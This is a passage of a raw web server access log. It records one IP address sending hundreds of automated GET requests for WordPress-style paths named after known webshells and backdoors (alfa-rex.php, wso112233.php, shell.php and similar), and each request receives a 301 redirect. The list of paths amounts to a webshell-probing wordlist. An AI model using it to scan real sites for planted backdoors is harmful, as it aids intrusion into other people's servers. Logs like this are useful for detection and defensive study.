-0400] "GET /assets/item.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:53 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:54 -0400] "GET /about/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:54 -0400] "GET /Assets/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:55 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:56 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:56 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:57 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:58 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:58 -0400] "GET /.well-known/pki-validation/fm.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:59 -0400] "GET /wp-content/configs.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:00 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:01 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:01 -0400] "GET /assets/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:02 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:03 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:04 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:05 -0400] "GET /wp-includes/SimplePie/Content/Type/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:05 -0400] "GET /admin/fckeditor/editor/filemanager/owlmailer.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:06 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:08 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:10 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:13 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:16 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:17 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:19 -0400] "GET /wp-includes/rest-api/blue.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:22 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:24 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:25 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:26 -0400] "GET /wp-content/upgrade-temp-backup/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:27 -0400] "GET /.well-known/pki-validation/jp.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:27 -0400] "GET /wp-includes/Requests/Response/siteindex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:29 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:31 -0400] "GET /wp-admin/tools.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:34 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:34 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:36 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:38 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:39 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:41 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:44 -0400] "GET /wp-includes/images/smilies/network.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:48 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:53 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:33:57 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:00 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:05 -0400] "GET /wp-content/plugins/Cache.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:09 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:14 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:17 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:19 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:21 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:23 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:25 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:26 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:28 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:30 -0400] "GET /Assets/edit.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:32 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:35 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:36 -0400] "GET /.well-known/pkivalidation/log.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:38 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:40 -0400] "GET /wp-admin/packed.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:41 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:43 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:45 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:48 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:50 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:54 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:34:58 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:00 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:06 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:13 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:20 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:24 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:28 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:31 -0400] "GET /wp-includes/wp-includes/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:35 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:36 -0400] "GET /.well-known/acme-challenge/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:37 -0400] "GET /wp-includes/pomo/rk2.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:37 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:38 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:38 -0400] "GET /wp-content/themes/plugin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:40 -0400] "GET /admin/controller/extension/extension/blue.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:41 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:42 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:43 -0400] "GET /wp-includes/js/crop/shell.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:44 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:45 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:47 -0400] "GET /wp-mail.php/wp-includes/ID3/esyfvxgmdq.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:48 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:49 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:50 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:51 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:52 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:52 -0400] "GET /wp-includes/images/media/text.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:53 -0400] "GET /wp-includes/customize/muse.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:54 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:54 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:55 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:56 -0400] "GET /wp-includes/php-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:57 -0400] "GET /wp-content/uploads/2022/update.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:58 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:35:59 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:01 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:02 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:03 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:04 -0400] "GET /.well-knownold/inputs.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:04 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:05 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:06 -0400] "GET /assets/images/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:07 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:07 -0400] "GET /admin/uploads/lv.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:09 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:12 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:15 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:21 -0400] "GET /admin/uploads/media.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:23 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:27 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:30 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:33 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:38 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:41 -0400] "GET /wp-content/themes/twentytwentytwo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:44 -0400] "GET /index/lock.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:46 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:49 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:51 -0400] "GET /wp-content/config.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:53 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:55 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:36:58 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:01 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:03 -0400] "GET /css/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:06 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:10 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:13 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:16 -0400] "GET /wp-admin/update.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:18 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:20 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:22 -0400] "GET /wp-content/mu-plugins/gecko.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:25 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:27 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:29 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:30 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:32 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:34 -0400] "GET /ALFA_DATA/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:39 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:40 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:41 -0400] "GET /wp-includes/html-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:42 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:45 -0400] "GET /wp-admin/includes/m.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:49 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:51 -0400] "GET /admin/fckeditor/editor/filemanager/alfanew.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:52 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:55 -0400] "GET /wp-includes/IXR/shell.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:56 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:57 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:37:59 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:00 -0400] "GET /wp-includes/Requests/Utility/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:01 -0400] "GET /wp-content/upgrade-temp-backup/ty.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:02 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:03 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:05 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:06 -0400] "GET /include/wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:08 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:09 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:11 -0400] "GET /wp-includes/sodium_compat/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:16 -0400] "GET /bg/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:17 -0400] "GET /wp-content/plugins/core-plugin/file-manager.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:18 -0400] "GET /wp-content/uploads/423_index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:18 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:19 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:21 -0400] "GET /wp-admin/byp.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:22 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:23 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:25 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:26 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:27 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:29 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:32 -0400] "GET /wp-includes/html-api/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:34 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:36 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:38 -0400] "GET /assets/plugins/jquery-file-upload/server/php/include.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:40 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:41 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:42 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:43 -0400] "GET /images/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:45 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:47 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:48 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:49 -0400] "GET /wp-includes/Requests/file.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:51 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:51 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:53 -0400] "GET /wp-content/plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:54 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:56 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:57 -0400] "GET /wp-admin/admin-post.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:38:58 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:01 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:04 -0400] "GET /wp-admin/network/shell.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:07 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:08 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:09 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:10 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:10 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:11 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:11 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:13 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:14 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:15 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:16 -0400] "GET /.well-known/cache-compat.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:17 -0400] "GET /wp-mail.php/wp-includes/ID3/rnEPv9.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:18 -0400] "GET /wp-includes/php-compat/content.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:19 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:21 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:21 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:24 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:24 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:26 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:27 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:28 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:28 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:30 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:39:31 -0400] "GET 